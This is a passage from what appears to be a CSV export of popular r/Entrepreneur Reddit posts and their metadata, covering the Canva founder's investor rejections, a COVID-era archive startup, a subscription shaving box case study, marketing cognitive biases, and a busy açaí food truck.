Perkins and her journey of starting Canva. She pitched the idea to over 100 investors before managing to secure a meeting Bill Tai. And interestingly enough, she met Bill Tai at a conference that Perkins wasn’t even a part of. She said “I spoke to him for five minutes, and he said if I went to San Francisco he’d be happy to meet with me. So I jumped on a plane to San Francisco and true to his word he met with me.” Needless to say, the pitch was a success. Fast forward 8 years and Melanie Perkins has a net worth of $6.5 billion Would you still be pitching to investors after 100 unsuccessful attempts? EDIT: Based on the replies, I thought I'd share more information on Canva's background and the company's journey as a startup. Here are some really interesting and helpful videos: \- [https://www.youtube.com/watch?v=RPdXxchdkDY](https://www.youtube.com/watch?v=RPdXxchdkDY) \- [https://www.youtube.com/watch?v=8TBSg79Gf0M&t=256s](https://www.youtube.com/watch?v=8TBSg79Gf0M&t=256s) \- [https://www.youtube.com/watch?v=Ep21f3ncvBk](https://www.youtube.com/watch?v=Ep21f3ncvBk) \- [https://www.youtube.com/watch?v=yw6i93Iu\_40](https://www.youtube.com/watch?v=yw6i93Iu_40)",Jellyfish9419,1745,275,1636978646,/r/Entrepreneur/comments/quf53x/canva_founder_was_rejected_over_100_times_by/,https://www.reddit.com/r/Entrepreneur/comments/quf53x/canva_founder_was_rejected_over_100_times_by/,self.Entrepreneur,True,,,,, fhgeja,Entrepreneur,The Corona Virus is Saving my Startup,"Hi everyone, so while most people are panicking about the effects of the Corona virus, I'm in a position to take full advantage of it. I'm based in Boston working in education technology, specifically the cultural heritage sector called GLAM (galleries, libraries, archives and museums). The industry has basically been ignored as far as emerging technology goes, and I wanted to find a way to make historical research in archives more efficient. Only about 5% of historical documents are available online, mostly due to financial limitations but also copyright restrictions (remember how Google Books failed?). As a result, most historians are required to travel for 1-2 weeks to whatever archive holds the most primary sources they want to reference. Researching the French revolution? Pack your bags, you're flying to France. That's just how research is done. My startup, ArcLive, is a video conferencing tool where you can hire a surrogate to go into the archive for you and provide live access to the documents that aren't online, like Doctor on Demand but for archives. As an accessibility tool, we circumnavigate copyright restrictions under fair use, and the solution costs half as much as physical travel (no more flights or hotels). The problem was that although the researchers liked it, most of the historians and archives didn't really care, or wanted to create full legal partnerships before running pilots, but we're still in Alpha and officially a B2C company. All we need is email introductions and recommendations, the archives pay nothing and don't really need to do anything else. We can't afford to do a legal partner with every single archive, there are thousands of them and it would take 6-8 months per archive. Without the archives giving us direct introductions to scholars, our customer aquisition is just too expensive. So, with no easy solution, I actually shut down the business model 3 months ago. Enter the Corona virus and yesterday's Europe Travel Ban. All of a sudden two entire continents have been closed off to each other, and it's only going to get worse. Today I'm visiting the MIT and Harvard archives in person to discuss emergency pilots of my software for their scholars. I'll update this post at the end of the day on progress, and answer any questions you might have. Wish me luck! Update 3/12 - Busy day but no immediate big wins because most archives are closing to the public starting Monday. I'm working to set up a meeting with the MIT Director of Collections next week. Harvard is more difficult because there is no ""Harvard Library"", it's a collection of libraries managed by each separate school (business, arts etc). The support has been overwhelming, thank you all so much! Also Jeffery Epstein didn't kill himself.",Alan-Foster,1740,120,1584020053,/r/Entrepreneur/comments/fhgeja/the_corona_virus_is_saving_my_startup/,https://www.reddit.com/r/Entrepreneur/comments/fhgeja/the_corona_virus_is_saving_my_startup/,self.Entrepreneur,True,,,,, qsitx3,Entrepreneur,"How I Made $130,000 in a Year Building Websites in Weebly as a Beginner With Little to No Coding: The Story of My Web Design Business Taking Aviation Online.",[removed],rockthered198,1734,292,1636745389,/r/Entrepreneur/comments/qsitx3/how_i_made_130000_in_a_year_building_websites_in/,https://www.reddit.com/r/Entrepreneur/comments/qsitx3/how_i_made_130000_in_a_year_building_websites_in/,self.Entrepreneur,True,,,,, lipmb0,Entrepreneur,"For fucks sake guys, do the Lean Startup Method","I'm seeing a lot of posts from noobs who have no idea what they're doing. First, pick a niche and start talking with your target audience. Just to throw something out there, have 20 phone conversations with your target audience. Until you do that you'll have no fucking idea what the product needs to do for your customers. Next, follow the lean startup model. 1. Build (your minimally viable product. Don't be a perfectionist because you're scared of the next step.) 2. Test it. (validate it in the market. Do people buy it. Measure) 3. Pivot. (is the idea shit? Pivot to a new one and restart from step 1. Is the idea okay but needs improvement? Change it - and restart from step 1) Edit: smarter and more successful people than me are suggesting alternate (""better"") approaches than the Lean Startup Method: - Jobs To Be Done Framework - Peter Thiel's ideas - This thing: https://howdo.com/training/",Jealous-Water-2027,1727,223,1613178234,/r/Entrepreneur/comments/lipmb0/for_fucks_sake_guys_do_the_lean_startup_method/,https://www.reddit.com/r/Entrepreneur/comments/lipmb0/for_fucks_sake_guys_do_the_lean_startup_method/,self.Entrepreneur,True,,,,, fzsn7v,Entrepreneur,How to get rich without being lucky ( Picked up from twitter),"Pre note: First Silver ! Elated much :) ————————————— Hi Folks! Picked up an interesting (and much famous thread) from twitter by a user named Naval (founder of AngelList) on twitter. Here's a summary of the tweetstorm. Link to the twitter thread - [https://twitter.com/naval/status/1002103360646823936](https://twitter.com/naval/status/1002103360646823936) \--------------------- Seek wealth, not money or status. Wealth is having assets that earn while you sleep. Money is how we transfer time and wealth. Status is your place in the social hierarchy. Understand that ethical wealth creation is possible. If you secretly despise wealth, it will elude you. Ignore people playing status games. They gain status by attacking people playing wealth creation games. You’re not going to get rich renting out your time. You must own equity - a piece of a business - to gain your financial freedom. You will get rich by giving society what it wants but does not yet know how to get. At scale. Pick an industry where you can play long term games with long term people. The Internet has massively broadened the possible space of careers. Most people haven't figured this out yet. Play iterated games. All the returns in life, whether in wealth, relationships, or knowledge, come from compound interest. Pick business partners with high intelligence, energy, and, above all, integrity. Don't partner with cynics and pessimists. Their beliefs are self-fulfilling. Learn to sell. Learn to build. If you can do both, you will be unstoppable. Arm yourself with specific knowledge, accountability, and leverage. Specific knowledge is knowledge that you cannot be trained for. If society can train you, it can train someone else, and replace you. Specific knowledge is found by pursuing your genuine curiosity and passion rather than whatever is hot right now. Building specific knowledge will feel like play to you but will look like work to others. When specific knowledge is taught, it’s through apprenticeships, not schools. Specific knowledge is often highly technical or creative. It cannot be outsourced or automated. Embrace accountability, and take business risks under your own name. Society will reward you with responsibility, equity, and leverage. The most accountable people have singular, public, and risky brands: Oprah, Trump, Kanye, Elon. “Give me a lever long enough, and a place to stand, and I will move the earth.” \- Archimedes Fortunes require leverage. Business leverage comes from capital, people, and products with no marginal cost of replication (code and media). Capital means money. To raise money, apply your specific knowledge, with accountability, and show resulting good judgment. Labor means people working for you. It's the oldest and most fought-over form of leverage. Labor leverage will impress your parents, but don’t waste your life chasing it. Capital and labor are permissioned leverage. Everyone is chasing capital, but someone has to give it to you. Everyone is trying to lead, but someone has to follow you. Code and media are permissionless leverage. They're the leverage behind the newly rich. You can create software and media that works for you while you sleep. An army of robots is freely available - it's just packed in data centers for heat and space efficiency. Use it. If you can't code, write books and blogs, record videos and podcasts. Leverage is a force multiplier for your judgement. Judgement requires experience, but can be built faster by learning foundational skills. There is no skill called “business.” Avoid business magazines and business classes. Study microeconomics, game theory, psychology, persuasion, ethics, mathematics, and computers. Reading is faster than listening. Doing is faster than watching. You should be too busy to “do coffee,"" while still keeping an uncluttered calendar. Set and enforce an aspirational personal hourly rate. If fixing a problem will save less than your hourly rate, ignore it. If outsourcing a task will cost less than your hourly rate, outsource it. Work as hard as you can. Even though who you work with and what you work on are more important than how hard you work. Become the best in the world at what you do. Keep redefining what you do until this is true. There are no get rich quick schemes. That's just someone else getting rich off you. Apply specific knowledge, with leverage, and eventually you will get what you deserve. When you're finally wealthy, you'll realize that it wasn't what you were seeking in the first place. But that's for another day. Have a great day :) P.S- If you found this helpful, then do consider reading my interviews with women running profitable businesses at [WomenHustlers](https://womenhustlers.com/?utm_source=Reddit&amp;utm_medium=Post&amp;utm_campaign=Naval_post) :)",Womanhustler,1678,309,1586678009,/r/Entrepreneur/comments/fzsn7v/how_to_get_rich_without_being_lucky_picked_up/,https://www.reddit.com/r/Entrepreneur/comments/fzsn7v/how_to_get_rich_without_being_lucky_picked_up/,self.Entrepreneur,True,,,,, 2h1mlt,Entrepreneur,"THE INNER WORKINGS OF A SUBSCRIPTION BOX COMPANY. FROM A 4K SITE PURCHASE ON REDDIT TO CLOSE TO $100,000 IN REVENUE IN LESS THAN 6 MONTHS. HOW WE DID IT, AND WHAT’S NEXT!","**TLDR:** I bought a site on reddit for 4K, partnered with another redditor, and together we spent 2 months completely retooling the business. We followed this up with 3 months of marketing, and we’re now less than 30 days away from $100K in revenue. This is a post on how we did it. (Read time: ~15 minutes). Grab a cup of coffee and get comfy! I’ll get right to it. **THE INNER WORKINGS OF A SUBSCRIPTION BOX COMPANY.** So about 6 months ago, I came across [this thread](http://www.reddit.com/r/startups/comments/1zn089/i_am_looking_for_some_advice_on_selling_a_website/) from a guy looking to sell a website he owned: I contacted him and found out that it was [wetshaveclub.com](http://www.wetshaveclub.com/), a wet shaving subscription box. I felt like I could make it work given the fact that dollar shave club had proven out the model. “Ok, Let’s do it!” This was the extent of my analysis on this. The site owner sent me a screenshot of his revenue, I offered about 15X his monthly profits, and we wrapped everything up that same weekend. We skipped the usual back and forth dance people go through when they’re buying websites. I sent over the money, he sent over the passwords, and that was that. I reached out to redditor u/kaster who I had been talking to on skype for some time. He had read [my original series of posts](http://www.reddit.com/r/EntrepreneurRideAlong/comments/tltuy/day_26_from_zero_to_website_launcha_recap_of/), followed it to launch and grow a local business to 40k/month, sold it, and spent a few months in Costa Rica on vacation. We had never met, but I felt like he would be the perfect person to work on this with me. This is a guy that does not play around when an opportunity presents itself. Case in point: A few weeks later he was in his car for a 5-day drive from California to the east coast so we could work on this. ([Kevin’s Facebook post as he was hitting the road](http://imgur.com/rMYvzJU)). Ok, so here’s what we did to get moving: **Step 1: Website Rebranding** The original website needed some work and we set out to change the look and feel of it. Design is critical, and even more so with a consumer product where emotion is a large component of the buying decision. [Click to see of our branding efforts.](http://imgur.com/a/HZJqP) **Step 2: Expanding the Product line and raising prices** So the original service only delivered soaps and at a price of $12 per month. We felt that we had to double that price to make this worthwhile. In order to do this we had to expand the product line and provide more value. [Click to see how we expanded our product line.](http://imgur.com/a/CBzSZ) **Step 3: Box Rebranding** Since we were now shipping more products (and we had rebranded the site), the next effort was to find a box that worked. We called around to different box suppliers and had them send us samples. We settled on Salazar packaging. We sent them our box design and they got on it. [Click to see our box rebranding efforts.](http://imgur.com/a/sR1mN) **Step 4: Increasing prices and adding annual option** Everything so far took us about 2 months of balls-to-the-wall work, but things were starting to shape up. We were then able to increase prices to $29 for the monthly box instead of $12. We also added an annual version at a reduced monthly rate to see if people would prepay for an entire year. And they did. [Click to see our new pricing options](http://imgur.com/Q7Lwyit). **Step 5: Marketing** So with our conversion rates up, and our box at a higher price point we were able to unleash the hounds. You’ll see that most of what we do is completely free marketing mixed in with a few paid sources. [Click to see how we drive traffic.](http://imgur.com/a/CUDIH) **Step 6: Ordering, Warehouse and Shipping** So with the results of our efforts, we needed space. We were shipping from our living room and while I had a small office, there was no way we could do it from there any longer. So we found an office/warehouse, moved in 10 days later and got everything set up. [Click to peep the warehouse](http://imgur.com/a/Gf3LP). **Bonus**: [Our new office](http://imgur.com/a/ojqCT). So the result of all this work: We’re going to hit $100K in revenue in the next 30 days, and just passed $78K ([Obligatory screenshot](http://i.imgur.com/PBmXMxs.png)). We did $22K last month ([Cratejoy screenshot](http://i.imgur.com/FDhitpp.png))-They have pretty awesome analytics btw, and we’re on pace to do $35K in September. We think we can hit our first $100K month in 6-12 months and join the ranks of /u/bandholz from beardbrand.com. Dude knows his stuff and I respect how much he shares with the community. In some ways I think we’re cut from the same cloth, he’s just smarter and better looking! What Comes Next: We’re launching an accompanying ecommerce store. This way, when folks find products that they like in the box, they can order more of them. In addition, we can expand the product line a bit to include additional grooming products and other men’s accessories. [Click for a sneak peak of the upcoming store](http://imgur.com/a/J4kpq). **TAKEAWAYS FROM ALL OF THIS!** This is hard work and we made a lot of mistakes and will continue to make more. We’re working every day on providing a better customer experience and trying to improve the product line. We went into this not knowing a thing about selling and shipping products, logistics, inventory, warehousing, or even wet shaving for that matter. But we live in the information age. Anything under the sun can be figured out if you’re resourceful enough and willing to bust your ass until you make yourself an expert in that thing. We’re not well connected, nor do we access to a gazillion dollars in VC funding. We just work. Hard. And we’re just getting started. **The companies that made this happen:** Cratejoy.com for our subscription box web platform. (Awesome service and Amir rocks!) Salazarpackaging.com for our box (Great to work with) Sonicprint.com for our inserts (Karen is the bomb) 99designs.com for our design work (I wish I owned this company) Uline.com for our warehouse shelving and box fill (Their delivery speed is insane) Shipstation.com: (Integrates with cratejoy to handle our shipping. This gives us life!!) Endicia.com: (Integrates with Shipstation so we just print labels from our computer. The truth!) Stripe.com: Payment processor (You already know) Perfectaudience.com: Re-targeting (Works. Well! ROI positive and helps with branding too) Kabbage.com: $15,000 Line of credit (Surprisingly smooth experience) Gleam.io: Contests (Super awesome set up and easy to add virality to your contests through sharing) TeamBeachBody.com: (haha, we do insanity every morning before work! Thanks Sean T) If you’ve made it this far, props. **This is where the case study ends!** ****** But if you’re interested in taking a look at the mindset that has gotten us to this point, read on. Launching something: I read almost every front-page thread on r/entrepreneur and have done so for the past 2 years, so I know a lot of folks are stuck right now with coming up with something to launch. Here’s what I would do if I wanted to start a new business today and had no idea what to do next: 1) Check your bank account for something you’ve spent money on in the last 12 months. Bonus points if it’s a recurring service of some sort (Your customer lifetime value is instantly boosted, and you can thrive even with a high customer acquisition cost). Either way, you know it’s something that people already spend money on. This simple rule eliminates fantasy ideas: “If I get enough members I’ll figure out how to monetize it later.” Later never comes, so ideas like these don’t get a minute of my time. **The only things I work on are things where I can make money starting on DAY ONE!** 2)Narrow down the list to things where a lot of people are making money in that industry. Competition is good. I know, this goes against everything you’ve learned somewhere. But the more **thriving** competition you find, the more money is being made, and the larger the market. Join the party, throw your hat in the ring, and be at least as smart as somebody there. **Most people search for a great idea with no competition without realizing that this makes it almost impossible to start something.** 3) Narrow things further to something that can be delivered with a simple but well designed website that cost no more than a month’s salary. If it’s a product, you’ll then have to find someone that will let you re-sell his or her product. If it’s a service, you simply have to find someone that already provides that service. In both cases (product or service) you’re just re-selling something, and with a well-designed website, you’ll double your chances that your supplier will feel comfortable enough to let you resell their thing. Yes, good design is important for both your customers and your suppliers! **Don't launch with bad design!!! MVP or not!** 4) When you get that “Yes” from a supplier, make sure you set things up so that you’re not in the customer’s way. Make things as easy as possible for them to do business with you. Seriously, remove all hoops. **They should be able to do business with you as easily as they do business with Amazon.** If you don’t need that extra field on the form, get rid of that shit. As easy as humanly possible! 5) Market your thing until you pass out. If your thing is something that really speaks to a person’s identity like grooming, fashion, makeup, fitness, etc. [you can kill on social media](https://blog.kissmetrics.com/steal-your-competitions-followers/) (twitter, instagram, Facebook, YouTube). If your thing is more detached from a person’s identity like say a car wash or home cleaning, your best conversions will come through search (adwords, seo, yelp). ****** **A few additional thoughts:** I think that a lot of “startup best practices” work well for people that have access to funding. For the rest of us, some of the generally accepted ideas end up pushing folks further away from launching something. Consider: **Validation:** Validation in my opinion is for fantasy ideas. If you stay away from having to come up with an awesome idea, you won’t need validation in the first place. There are plenty of things you can do that other companies have already validated for you. And when you find that thing, stop worrying about competition. **Competition IS the validation.** **Competition:** Stop measuring this by quantity. One of the first things you’ll hear is “the market is oversaturated”! This is meaningless, yet this single phrase has stopped more potential entrepreneurs in their tracks than…well I honestly can’t think of anything that beats this. Start looking at the quality of the competition instead, and you’ll often find that the market is saturated with a LOT of bad players, and they’re making a LOT of money despite being so bad.** This is the perfect situation. **Business plans:** This often ends up being a way to push action further down the road. If It’s longer than one page you’re wasting your time. [Download something like this](http://100startup.com/resources/business-plan.pdf), fill that bad boy out, and get to work. **LLC/incorporation:** Unless the company can pay for it, it’s not happening. So this only happens AFTER the company is making money. One more excuse...GONE! **Business Analysis:** Demographic data, market analysis, the economic outlook... blah blah blah. More ways to kick the can down the road and to feel that you’re doing something when you’re really not. I just get to work. If a lot of people are making money doing this thing, the startup cost is low, and there is no sorcery involved, it can be done! **Fear of your idea being stolen:** Ideas hold little intrinsic value without execution. However, you can start to extract value when you get feedback on it, massaging it, push and poke it, and really run it through the wringer. And the only way to do this is to tell people about it. This goes against our most basic instincts because we’re fearful that our ideas might be stolen. Well the reality is, most people are sitting on the bench with a gazillion ideas of their own that they are not executing on. You just added one more to that list. Either way, if an idea cannot survive competition it’s probably not that good in the first place. In addition, what happens when you launch? You can’t run a business without telling anybody about it. You’ll often get this response, “ But I’ll lose my first-mover’s advantage?”. Well good. I would never want to be the first mover anyhow. First movers bare a tremendous cost in educating customers. Most of us don’t have the money to bare that cost. The folks that are second and onwards, can just slide in and benefit from all of that work. For example, I don’t have to explain the concept of a subscription box service sending you shaving equipment every month. Most people already know what this is, thanks to Dollar Shave Club. Bottom line: Try to get over this stuff. **Find something you’re passionate about:** Nah son. Find something that is viable. I’m passionate about table tennis, but I’m not looking to turn that passion into a business. When it comes to business, I’m far more passionate about providing a good product/service that has good margins, than about being able to marry that business to any hobby or other exciting pursuit I may have in my regular life. This way, I’m free to work on the best opportunity that arises without limitation. And honestly, quite often the least sexy industries are where the big money is being made. So while most of the brainpower is busy chasing sexy mobile apps and such, you can make bank by selling ugly widgets or providing basic services. It’s tough to pay bills with app downloads. **A note to Engineers and consultants:** Resist the urge to complicate things. For technical folks, it seems like the inclination to complicate things is overwhelming. So a problem like “find people that need lawn service and connect them with people that provide lawn service” becomes, “well how about we use Zillow’s APi to pull a picture of the lawn, and the customer confirms it by drawing an outline of the area to be serviced and we tie that into Google maps and feed everything into a pricing algorithm”.... and on and on. Unfortunately, many of these guys do not make it. More often than not simplicity wins. Get out of the customer’s way. **Start something small to get practice:** You don’t get good at running marathons by reading about running marathons. And you don’t get good at business by reading about business. You get good by doing. And doing it over and over again. But just like you wouldn’t expect to win the first marathon you entered, why put so much pressure on yourself to win at the first company you start? Or worse yet, paralyze yourself with fear into never running at all because you’re afraid you won’t win? It doesn’t make sense with marathons and it doesn’t make sense with business. So while a lot of folks over-analyze every minutia about the thing, people like Kevin and me would have already downloaded a training regiment, bought a pair of shoes, and hit the bricks. **What if I fail?** Nothing happens! It’s literally the most mundane non-event imaginable. I spend a day or two wrapping up any loose ends, head to the movies or do something fun, and by the next day I’m already figuring out what the next thing is. My personal experience hasn’t been “Try->Win”, it has been more like “try, fail, try, fail, try, fail, try, fail win, win, win, win.” With each failure you get better, and then things just start to come easy. Don’t be afraid of failing, it’s like the best and cheapest MBA you’ll ever get. **Naysayers:** If you’re doing something...I mean anything, you’ll meet them. Whether it’s in real life, on the Internet, or wherever else. Sometimes it’s even your friends and family. I keep an imgur album of the best ones I come across. Sometimes for a little motivation, and sometimes just to look back and smile. For example, recently I mentioned in passing that my next big project will be a restaurant, and I already have a list of comment screenshots explaining why I won’t succeed. :-) Here’s [one of my favorite ones](http://i.imgur.com/UNNyS0F.png) from a few years back when I was making $4k per month, from what was a new company at the time. This was the top comment on Hacker News. That little company now pays me a 6 figure salary. What intrigued me about this comment was the fact that it was so thoughtfully written. This wasn’t a troll. This was someone that provided a seemingly well-reasoned analysis of where he thought I would be in 12 months, complete with business school type analysis: barriers to entry, competitive landscape, etc. So why is this important? Because **this is exactly what many of us do to ourselves.** We have a naysayer living permanently inside our heads that is constantly appraising and analyzing every business idea we entertain. And the analysis sounds just as reasoned, and well thought-out and measured as the one I posted above. Not a bad thing on its face, but **the guy in our head typically skews negative.** Shut that dude up! Or you’ll analyze and over think and what-if every single idea until you convince yourself it won’t work. Over time this messes with your confidence, and you end up paralyzed. Say what you want about the guy, but Kanye was right about this: [Most people are held back by their perception of themselves!](https://www.youtube.com/watch?v=nx3X4r-eCYQ&t=6m59s) It’s a brutal feedback loop. At some point we have to just say “Fuck It” and get to work! Okay peeps, hope this was helpful to at least one person. [Oh, and for making it this far even if you skimmed…:-\)](http://mrwgifs.com/wp-content/uploads/2014/08/Barney-Stinson-Requests-The-Highest-Of-Fives-On-How-I-Met-Your-Mother.gif) AMA Edited to add our [Facebook Group](https://www.facebook.com/groups/groovelearning/) where we continue this and other business discussions: And [where you can download this in PDF form](http://localcasestudy.com/free-guides/) (along with other writings of mine). And my [twitter page](https://twitter.com/). ",localcasestudy,1678,1236,1411317819,/r/Entrepreneur/comments/2h1mlt/the_inner_workings_of_a_subscription_box_company/,http://www.reddit.com/r/Entrepreneur/comments/2h1mlt/the_inner_workings_of_a_subscription_box_company/,self.Entrepreneur,True,,,,, p0d1q9,Entrepreneur,There are ONLY 4 fundamental ways to make money in any business.,"1. Do the things customers CAN'T do - Get paid in $$$$ 2. Do the things customers WON'T do - Get paid in $$$ 3. Do the things customers DON'T do - Get paid in $$ 4. Do the things customers ALREADY do - Get paid in $ ONLY &#x200B; One more way to think about this is 1. Important and Urgent things for customers - Get paid in $$$$ 2. Urgent but NOT Important things for customers - Get paid in $$$ 3. Important but NOT urgent things for customers - Get paid in $$ 4. NOT Important and NOT Urgent things for customers - Get paid in $ ONLY &#x200B; One more way to think about this is 1. Sell product to MORE CUSTOMERs (market size) 2. Sell MORE PRODUCTS (cross sell) 3. Sell product MORE FREQUENTLY (consumption) 4. Sell products at the PREMIUM PRICE (brand) &#x200B; One more way to think about this from Product perspective is 1. Make something BETTER 2. Make something FASTER 3. Make something CHEAPER 4. Make something EASIER Any thoughts on how your business is getting paid?",biz_booster,1674,270,1628422343,/r/Entrepreneur/comments/p0d1q9/there_are_only_4_fundamental_ways_to_make_money/,https://www.reddit.com/r/Entrepreneur/comments/p0d1q9/there_are_only_4_fundamental_ways_to_make_money/,self.Entrepreneur,True,,,,, xlvip2,Entrepreneur,Elon Musk tweeted a while ago about the importance of being aware of cognitive biases - here are 16 Cognitive Biases used by businesses to make billions of dollars every year,"# ""People don't buy products. They buy emotions"". ***""Over 95% of our purchasing decisions are emotional""*** \- Harvard professor Gerald Zaltman \--------------- ***EDIT because a few people asked already*** If you liked it, I have a $0 [newsletter](http://kickstartsidehustle.com/) where I share more like this on a weekly basis \---------------- Marketing tools are just the tools to influence the human psyche in one way or another, with psychology in its core. &#x200B; I play with behavioral science (psychology in marketing) on a daily basis, so I thought I will share 16 biases here, so you can implement them in your business today to make a few extra bucks: &#x200B; # 1. DELIGHTERS - SURPRISE FEATURES THAT GO BEYOND CUSTOMERS' EXPECTATIONS Delighters are happy surprises that can make a difference. They blow us away when we get it. They are not expected thus the dissatisfaction and frustration of their lack won’t appear. If you want to achieve high customer satisfaction, it might be a lot easier if you worked on delighters, like some fancy packaging than by providing more regular features like faster shipping. &#x200B; # 2. BARNUM EFFECT - THE BELIEF IN VAGUE PREDICTIONS OR GENERAL PERSONALITY DESCRIPTIONS Quizzes are a perfect example of the Barnum Effect in action. They are also one of the most effective tools for conversion. Some marketers recorded a lead conversion rate of 38%. Bonkers! People turn to the quiz to get the number. It gives people something to look at, something to think of. Quizzes focus our attention on thinking about ourselves &#x200B; # 3. CHEERLEADER EFFECT - INDIVIDUAL ITEMS SEEM MORE ATTRACTIVE WHEN PRESENTED IN A GROUP People are considered more attractive when they are in a group than when they are seen alone. The **cheerleader effect** occurs because: * We rapidly summarise a group of faces/images into a representation in our heads, * we see it to be highly attractive because of its average facial/image characteristics &#x200B; # 4. CENTRE-STAGE EFFECT - PEOPLE CHOOSE THE ITEM IN THE MIDDLE MORE OFTEN THAN THOSE ON THE SIDES People tend to be drawn to the middle product when presented with products situated side by side. The center-stage Effect is even more noticeable when we’re buying something for someone else - we're more likely to use subtle suggestions when buying for someone else. &#x200B; # 5. CHUNKING - GROUPED INFORMATION IS EASIER TO REMEMBER FOR PEOPLE Chunking refers to the process of taking individual pieces of information and grouping them into smaller or larger units. Chunking is also a technique of breaking down big groups of information into smaller chunks that makes it easier for us to process. &#x200B; # 6. CURIOSITY GAP - PEOPLE HAVE A DEEP DESIRE TO SEEK OUT MISSING INFORMATION Add curiosity to your everyday productOne of the most famous marketers, Ogilvy, brought a simple 5-cent Eye Patch to the Hathaway shirt campaign - their model wore the eye patch which brought a lot of curiosity and depth around the character. This little detail created a million-dollar story. &#x200B; # 7. PEAK-END RULE - PEOPLE JUDGE AN EXPERIENCE BY ITS PEAK AND HOW IT ENDS Create an emotional peak purposefully. Doesn’t have to be expensive. You can easily create positive peak experiences with simple actions like using people's names, remembering important dates, or simplifying a process. &#x200B; # 8. NOBLE EDGE EFFECT - PEOPLE TEND TO RESPECT SOCIALLY RESPONSIBLE COMPANIES When companies demonstrate genuine social responsibility, they are rewarded with increased respect and greater profits. This has been a popular trend in recent years as social responsibility has become more mainstream. &#x200B; # 9. IKEA EFFECT - PEOPLE PLACE A HIGHER VALUE ON THINGS THEY’VE CREATED THEMSELVES In 1950, Betty Crocker's instant cake mixes arrived they weren't successful at all. They put psychologist Ernest Dichter on the case. Turned out, homemakers didn't feel invested in the baking process and put no value in the product. Their response: they replaced powdered eggs in the cake mix with the requirement to add fresh eggs. By adding one more step, they had the person invested, and the cake mixers' sales went up. They gave the baker more ownership in the result. &#x200B; # 10. NOSTALGIA EFFECT - THE FEELINGS OF NOSTALGIA MAKE US MORE WILLING TO SPEND MONEY Nostalgia or sentimentality brings feelings of social connectedness. Social connectedness decreases our desire for money, thus making us to spend more. &#x200B; # 11. THE ZEIGARNIK EFFECT - PEOPLE REMEMBER INCOMPLETE TASKS BETTER THAN COMPLETED ONES The Zeigarnik effect is a psychological phenomenon describing a tendency to remember interrupted or incomplete tasks or events more easily than tasks that have been completed. Zeigarnik Effect pushes audiences to crave completed stories, resolved problems, answered questions, and achieved goals. &#x200B; # 12. UNDERDOG EFFECT - PEOPLE TEND TO SUPPORT THE SIDE THAT IS EXPECTED TO LOSE, OVER THE FAVORITE When your competitor is much bigger with access to great resources your story as an underdog might be of great advantage.Note - works best if the competitor doesn't have a good reputation. &#x200B; # 13. IN-GROUP BIAS - PEOPLE BELIEVE IN THEIR OWN GROUP'S SUPERIORITY TO ANY OTHER In-group bias is our tendency to favor whatever group the person associates herself with at a particular time. Apple customers are a great example of a well-built sense of community among Apple users. *Here’s to the crazy ones, the misfits, the rebels, the troublemakers, the round pegs in the square holes… the ones who see things differently — they’re not fond of rules… You can quote them, disagree with them, glorify or vilify them, but the only thing you can’t do is ignore them because they change things… they push the human race forward, and while some may see them as the crazy ones, we see genius, because the ones who are crazy enough to think that they can change the world, are the ones who do.* — Steve Jobs, 1997 &#x200B; # 14. RECOGNITION OVER RECALL - MEMORY FOR RECOGNIZING THINGS IS BETTER THAN MEMORY FOR RECALLING THINGS On your website, you want to make sure the objects and operations a user might want to use are visible on the screen so that they can always recognize them rather than having to recall them. &#x200B; # 15. WEATHER EFFECTS - WEATHER AFFECTS OUR MOOD AND OUR DECISIONS Using weather targeting tools like WeatherAds, users can set automated ads to be released under specific conditions. Some brands, by matching ads with the current weather, exceeded its campaign goal by 46%. &#x200B; # 16. NOVELTY EFFECT - PEOPLE SEEK OUT NOVEL EXPERIENCES The novelty effect is our tendency for a constant small improvement to things, not because of any actual improvement in learning or achievement, but in response to increased interest or competition. The novelty of a new feature might bring in new conversions (some tests showed a 2% increase after introducing a new checkout design), but after time the novelty will wear off and show the true effectiveness of a new feature or product. &#x200B; \------------------------- That's it! I'm happy to answer any questions regarding emotional marketing & branding. &#x200B; If you liked it, I have a $0 [newsletter](http://kickstartsidehustle.com/) where I share more like this on a weekly basis",Limejhit,1671,143,1663934198,/r/Entrepreneur/comments/xlvip2/elon_musk_tweeted_a_while_ago_about_the/,https://www.reddit.com/r/Entrepreneur/comments/xlvip2/elon_musk_tweeted_a_while_ago_about_the/,self.Entrepreneur,True,,,,, 1gpj337,Entrepreneur,I made it: I'm a multi-millionaire and now life sucks,[removed],[deleted],1668,1340,1731412795,/r/Entrepreneur/comments/1gpj337/i_made_it_im_a_multimillionaire_and_now_life_sucks/,https://www.reddit.com/r/Entrepreneur/comments/1gpj337/i_made_it_im_a_multimillionaire_and_now_life_sucks/,self.Entrepreneur,True,,,,, xawr59,Entrepreneur,"Did 30k my first month in a food truck, excited but very overwhelmed and stressed.. NEED ADVICE.","So, My wife and I opened an açaí bowl food trailer. The trailer is 11x7 and way too small… the occupancy limit is only 2… lol We are currently selling out everyday at 2pm, we open at 7am. I am absolutely maxed out on storage space unfortunately so we run out after about 100 bowls and 25 pieces of toast… Being that it’s only been a month I don’t know if I should wait it out in the food truck for the rest of the year or go ahead and move into a storefront and be able to stay open from 7am to 10pm.. potentially tripling gross sales… need advice … Forgot to mention that there are no employees yet. Just my wife and I Edit: we have a permanent location in a shopping center Edit 2: thank you for the awards (I’ve never gotten those lol) also thanks for the awesome feedback and advice I’ve gotten so far Edit 3: just woke up and am reading all of the comments. I’m blown away that this many people are willing to chime in and give me great ideas. This is the EXACT reason I posted on Reddit! So thank you so much",ssrojam,1659,472,1662835418,/r/Entrepreneur/comments/xawr59/did_30k_my_first_month_in_a_food_truck_excited/,https://www.reddit.com/r/Entrepreneur/comments/xawr59/did_30k_my_first_month_in_a_food_truck_excited/,self.Entrepreneur,True,,,,, 7r8317,Entrepreneur,How I stumbled into the business idea that makes me 12k+ a month (and how to execute it yourself),[removed],MacaYT,1638,673,1516260430,/r/Entrepreneur/comments/7r8317/how_i_stumbled_into_the_business_idea_that_makes/,https://www.reddit.com/r/Entrepreneur/comments/7r8317/how_i_stumbled_into_the_business_idea_that_makes/,self.Entrepreneur,True,,,,, yopjb9,Entrepreneur,How I made 47k selling an unsexy product I built in 3 weeks,"The ride’s over. For better or worse the refinancing industry has disappeared. But now I can talk about this story publicly without worrying about someone competing with me. As for my background, I immigrated to the US as a kid. I'm not a professional software developer. Nor do I have a CS degree. In fact, I flunked out of the one CS class I did take in college. But I do enjoy coding. When the pandemic hit, I started to organize coworking with friends. Well one day I’m at my good friend's house. Drew. Except I can’t focus because this guy doesn’t get off the phone. Like ever. I ask how many calls he makes in a day? He replies back 300 to 400. His job? Well turns out he’s the 